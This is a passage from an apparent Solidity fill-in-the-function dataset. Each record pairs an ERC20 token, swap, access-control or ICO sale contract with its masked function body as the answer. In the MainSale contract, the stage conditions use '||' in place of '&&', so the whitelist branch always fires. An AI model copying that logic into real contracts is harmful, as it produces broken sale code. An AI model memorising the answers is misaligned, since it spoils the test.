getAssetCurrency(fromAsset); uint fromDecimals = ERC20Interface(fromAsset).decimals(); uint toDecimals = ERC20Interface(toAsset).decimals(); /// @dev Ensure assets are allowed to be swapped; require(isAllowedAsset(fromAsset, currency), 'Error: Unsupported asset requested. Asset must be supported by this contract and have a currency of `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK` .'); require(isAllowedAsset(toAsset, currency), 'Error: Unsupported asset requested. Asset must be supported by this contract and have a currency of `USD`, `EUR`, `GBP`, `JPY`, `AUD`, `CAD`, `CHF`, `NOK`, `NZD`, `SEK` .'); /// @dev require one of the assets be equal to Token X asset; if (isTokenXContract(toAsset, currency)) { /// @notice This requires the erc20 transfer function to return a boolean result of true; /// @dev the amount being transferred must be in the same decimal representation of the asset /// e.g. If decimals = 6 and want to transfer $100.00 the amount passed to this contract should be 100e6 (100 * 10 ** 6) require( ERC20Interface(fromAsset).transferFrom(msg.sender, address(this), amount), 'Error: Unable to transferFrom your asset holdings. Please ensure this contract has an approved allowance equal to or greater than the amount called in transferFrom method.' ); /// @dev Deposit TokenX asset to the user; /// @notice Amount received from deposit is net of fees. uint netAmountFrom = amount.sub(calcAssetFees(fromAsset, amount)); /// @dev Ensure amount is converted for the correct decimal representation; uint convertedAmountFrom = (netAmountFrom.mul(10**toDecimals)).div(10**fromDecimals); require( lib.deposit(lib.getTokenSymbol(toAsset), msg.sender, convertedAmountFrom, 'Token, Inc.'), "Error: Unable to deposit funds. Please check issuerFirm and firm authority are registered" ); } else if(isTokenXContract(fromAsset, currency)) { ///@dev Transfer the asset to the user; /// @notice Amount received from withdraw is net of fees. uint convertedAmount = (amount.mul(10**toDecimals)).div(10**fromDecimals); uint fees = calcAssetFees(toAsset, convertedAmount); uint netAmountTo = convertedAmount.sub(fees); /// @dev Ensure amount is converted for the correct decimal representation; require( ERC20Interface(toAsset).transfer(msg.sender, netAmountTo), 'Unable to call the requested erc20 contract.' ); /// @dev Withdraw TokenX asset from the user require( lib.withdraw(lib.getTokenSymbol(fromAsset), msg.sender, amount, 'Token, Inc.'), "Error: Unable to withdraw funds. Please check issuerFirm and firm authority are registered and have issued funds that can be withdrawn" ); } else { revert('Error: At least one asset must be issued by Token, Inc. (Token X).'); } /// @dev Log the swap event for event listeners emit StableSwap(fromAsset, toAsset, msg.sender, amount, currency); return true; } /** * Allow this contract to transfer collected fees to another contract; * @param asset Ethereum address of asset to transfer * @param to Transfer collected fees to the following account; * @param amount Amount of fromAsset to be transferred. * @return { "success" : "Returns true if successfully called from another contract"} */ function transferCollectedFees(address asset, address to, uint amount) public onlyOwner notDeprecated returns (bool success) { require( ERC20Interface(asset).transfer(to, amount), "Error: Unable to transfer fees to account." ); emit TransferredHoldings(asset, to, amount); return true; } /** * @notice gets currency status of contract * @return {"deprecated" : "Returns true if deprecated, false otherwise"} */ function deprecateInterface() public onlyOwner returns (bool deprecated) { require(lib.setDeprecatedContract(address(this)), "Error: Unable to deprecate contract!"); return true; } modifier notDeprecated() { /// @notice throws if contract is deprecated require(!lib.isContractDeprecated(address(this)), "Error: Contract has been deprecated, cannot perform operation!"); _; } }
//// @dev Set the storage contract for the interface //// @dev This contract will be unable to use the storage constract until //// @dev contract address is authorized with the storage contract //// @dev Once authorized, Use the `setParams` method to set storage values lib.Storage = TokenIOStorage(_storageContract); //// @dev set owner to contract initiator owner[msg.sender] = true;
constructor(address _storageContract) public
/** * @notice Constructor method for TokenIOStableSwap contract * @param _storageContract address of TokenIOStorage contract */ constructor(address _storageContract) public
76396
Context
_msgData
contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) {<FILL_FUNCTION_BODY> } }
contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } <FILL_FUNCTION> }
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data;
function _msgData() internal view returns (bytes memory)
function _msgData() internal view returns (bytes memory)
41418
MyToken
transfer
contract MyToken { string public constant name = "Premium security"; string public constant symbol = "4BUM"; uint8 public constant decimals = 0; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor( uint256 _totalSupply) public{ totalSupply_ = _totalSupply; balances[msg.sender] = totalSupply_; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } function transfer(address receiver, uint numTokens) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address delegate, uint numTokens) public returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } }
contract MyToken { string public constant name = "Premium security"; string public constant symbol = "4BUM"; uint8 public constant decimals = 0; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor( uint256 _totalSupply) public{ totalSupply_ = _totalSupply; balances[msg.sender] = totalSupply_; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } <FILL_FUNCTION> function approve(address delegate, uint numTokens) public returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } }
require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true;
function transfer(address receiver, uint numTokens) public returns (bool)
function transfer(address receiver, uint numTokens) public returns (bool)
44813
FomoToken
transferFrom
contract FomoToken is IERC20{ using SafeMath for uint256; uint public constant _totalSupply = 7500000000000; string public constant symbol = "FOMO"; string public constant name = "Fomo Token"; uint8 public constant decimals = 4; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function FomoToken(){ balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply){ return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success){<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
contract FomoToken is IERC20{ using SafeMath for uint256; uint public constant _totalSupply = 7500000000000; string public constant symbol = "FOMO"; string public constant name = "Fomo Token"; uint8 public constant decimals = 4; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function FomoToken(){ balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply){ return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
92936
OperationalControl
setSecondaryManager
contract OperationalControl { // Facilitates access & control for the game. // Roles: // -The Managers (Primary/Secondary): Has universal control of all elements (No ability to withdraw) // -The Banker: The Bank can withdraw funds and adjust fees / prices. /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public managerPrimary; address public managerSecondary; address public bankManager; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; // @dev Keeps track whether the contract erroredOut. When that is true, most actions are blocked & refund can be claimed bool public error = false; /// @dev Operation modifiers for limiting access modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager ); _; } /// @dev Assigns a new address to act as the Primary Manager. function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } /// @dev Assigns a new address to act as the Secondary Manager. function setSecondaryManager(address _newGM) external onlyManager {<FILL_FUNCTION_BODY> } /// @dev Assigns a new address to act as the Banker. function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Modifier to allow actions only when the contract has Error modifier whenError { require(error); _; } /// @dev Called by any Operator role to pause the contract. /// Used only if a bug or exploit is discovered (Here to limit losses / damage) function pause() external onlyManager whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function unpause() public onlyManager whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function hasError() public onlyManager whenPaused { error = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function noError() public onlyManager whenPaused { error = false; } }
contract OperationalControl { // Facilitates access & control for the game. // Roles: // -The Managers (Primary/Secondary): Has universal control of all elements (No ability to withdraw) // -The Banker: The Bank can withdraw funds and adjust fees / prices. /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public managerPrimary; address public managerSecondary; address public bankManager; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; // @dev Keeps track whether the contract erroredOut. When that is true, most actions are blocked & refund can be claimed bool public error = false; /// @dev Operation modifiers for limiting access modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager ); _; } /// @dev Assigns a new address to act as the Primary Manager. function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } <FILL_FUNCTION> /// @dev Assigns a new address to act as the Banker. function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Modifier to allow actions only when the contract has Error modifier whenError { require(error); _; } /// @dev Called by any Operator role to pause the contract. /// Used only if a bug or exploit is discovered (Here to limit losses / damage) function pause() external onlyManager whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function unpause() public onlyManager whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function hasError() public onlyManager whenPaused { error = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function noError() public onlyManager whenPaused { error = false; } }
require(_newGM != address(0)); managerSecondary = _newGM;
function setSecondaryManager(address _newGM) external onlyManager
/// @dev Assigns a new address to act as the Secondary Manager. function setSecondaryManager(address _newGM) external onlyManager
57397
STKN
approveAndCall
contract STKN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STKN"; name = "Student Token"; decimals = 0; _totalSupply = 10000000000; balances[0x6B4199979Bc2AFAE6Bb161b1Ba7a6aD2A983Bf3d] = _totalSupply; emit Transfer(address(0), 0x6B4199979Bc2AFAE6Bb161b1Ba7a6aD2A983Bf3d, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract STKN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STKN"; name = "Student Token"; decimals = 0; _totalSupply = 10000000000; balances[0x6B4199979Bc2AFAE6Bb161b1Ba7a6aD2A983Bf3d] = _totalSupply; emit Transfer(address(0), 0x6B4199979Bc2AFAE6Bb161b1Ba7a6aD2A983Bf3d, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
27218
SinoGlobal
transferFrom
contract SinoGlobal is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SinoGlobal() public { symbol = "SINO"; name = "Sino Global"; decimals = 18; _totalSupply = 21000000000000000000000000; balances[0x6efba1FD187F9db4CEa499d16D8029050EC0284B] = _totalSupply; Transfer(address(0), 0x6efba1FD187F9db4CEa499d16D8029050EC0284B, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract SinoGlobal is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SinoGlobal() public { symbol = "SINO"; name = "Sino Global"; decimals = 18; _totalSupply = 21000000000000000000000000; balances[0x6efba1FD187F9db4CEa499d16D8029050EC0284B] = _totalSupply; Transfer(address(0), 0x6efba1FD187F9db4CEa499d16D8029050EC0284B, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
30435
MainSale
sale1
contract MainSale is Ownable { using SafeMath for uint; ERC20 public token; address reserve = 0x611200beabeac749071b30db84d17ec205654463; address promouters = 0x2632d043ac8bbbad07c7dabd326ade3ca4f6b53e; address bounty = 0xff5a1984fade92bfb0e5fd7986186d432545b834; uint256 public constant decimals = 18; uint256 constant dec = 10**decimals; mapping(address=>bool) whitelist; uint256 public startCloseSale = now; // start // 1.07.2018 10:00 UTC uint256 public endCloseSale = 1532987999; // Monday, 30-Jul-18 23:59:59 UTC-2 uint256 public startStage1 = 1532988001; // Tuesday, 31-Jul-18 00:00:01 UTC-2 uint256 public endStage1 = 1533074399; // Tuesday, 31-Jul-18 23:59:59 UTC-2 uint256 public startStage2 = 1533074400; // Wednesday, 01-Aug-18 00:00:00 UTC-2 uint256 public endStage2 = 1533679199; // Tuesday, 07-Aug-18 23:59:59 UTC-2 uint256 public startStage3 = 1533679200; // Wednesday, 08-Aug-18 00:00:00 UTC-2 uint256 public endStage3 = 1535752799; // Friday, 31-Aug-18 23:59:59 UTC-2 uint256 public buyPrice = 920000000000000000; // 0.92 Ether uint256 public ethUSD; uint256 public weisRaised = 0; string public stageNow = "NoSale"; event Authorized(address wlCandidate, uint timestamp); event Revoked(address wlCandidate, uint timestamp); constructor() public {} function setToken (ERC20 _token) public onlyOwner { token = _token; } /******************************************************************************* * Whitelist's section */ function authorize(address wlCandidate) public onlyOwner { require(wlCandidate != address(0x0)); require(!isWhitelisted(wlCandidate)); whitelist[wlCandidate] = true; emit Authorized(wlCandidate, now); } function revoke(address wlCandidate) public onlyOwner { whitelist[wlCandidate] = false; emit Revoked(wlCandidate, now); } function isWhitelisted(address wlCandidate) public view returns(bool) { return whitelist[wlCandidate]; } /******************************************************************************* * Setter's Section */ function setStartCloseSale(uint256 newStartSale) public onlyOwner { startCloseSale = newStartSale; } function setEndCloseSale(uint256 newEndSale) public onlyOwner{ endCloseSale = newEndSale; } function setStartStage1(uint256 newsetStage2) public onlyOwner{ startStage1 = newsetStage2; } function setEndStage1(uint256 newsetStage3) public onlyOwner{ endStage1 = newsetStage3; } function setStartStage2(uint256 newsetStage4) public onlyOwner{ startStage2 = newsetStage4; } function setEndStage2(uint256 newsetStage5) public onlyOwner{ endStage2 = newsetStage5; } function setStartStage3(uint256 newsetStage5) public onlyOwner{ startStage3 = newsetStage5; } function setEndStage3(uint256 newsetStage5) public onlyOwner{ endStage3 = newsetStage5; } function setPrices(uint256 newPrice) public onlyOwner { buyPrice = newPrice; } function setETHUSD(uint256 _ethUSD) public onlyOwner { ethUSD = _ethUSD; } /******************************************************************************* * Payable Section */ function () public payable { require(msg.value >= (1*1e18/ethUSD*100)); if (now >= startCloseSale || now <= endCloseSale) { require(isWhitelisted(msg.sender)); closeSale(msg.sender, msg.value); stageNow = "Close Sale for Whitelist's members"; } else if (now >= startStage1 || now <= endStage1) { sale1(msg.sender, msg.value); stageNow = "Stage 1"; } else if (now >= startStage2 || now <= endStage2) { sale2(msg.sender, msg.value); stageNow = "Stage 2"; } else if (now >= startStage3 || now <= endStage3) { sale3(msg.sender, msg.value); stageNow = "Stage 3"; } else { stageNow = "No Sale"; revert(); } } // issue token in a period of closed sales function closeSale(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 68% uint256 bonusTokens = tokens.mul(30).div(100); // + 30% per stage tokens = tokens.add(bonusTokens); token.transferFromICO(_investor, tokens); weisRaised = weisRaised.add(msg.value); uint256 tokensReserve = tokens.mul(15).div(68); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.div(34); // 2 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(15).div(68); // 15% token.transferFromICO(promouters, tokensPromo); } // the issue of tokens in period 1 sales function sale1(address _investor, uint256 _value) internal {<FILL_FUNCTION_BODY> } // the issue of tokens in period 2 sales function sale2(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 64 % uint256 bonusTokens = tokens.mul(5).div(100); // + 5% tokens = tokens.add(bonusTokens); token.transferFromICO(_investor, tokens); uint256 tokensReserve = tokens.mul(15).div(64); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.mul(3).div(32); // 6 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = 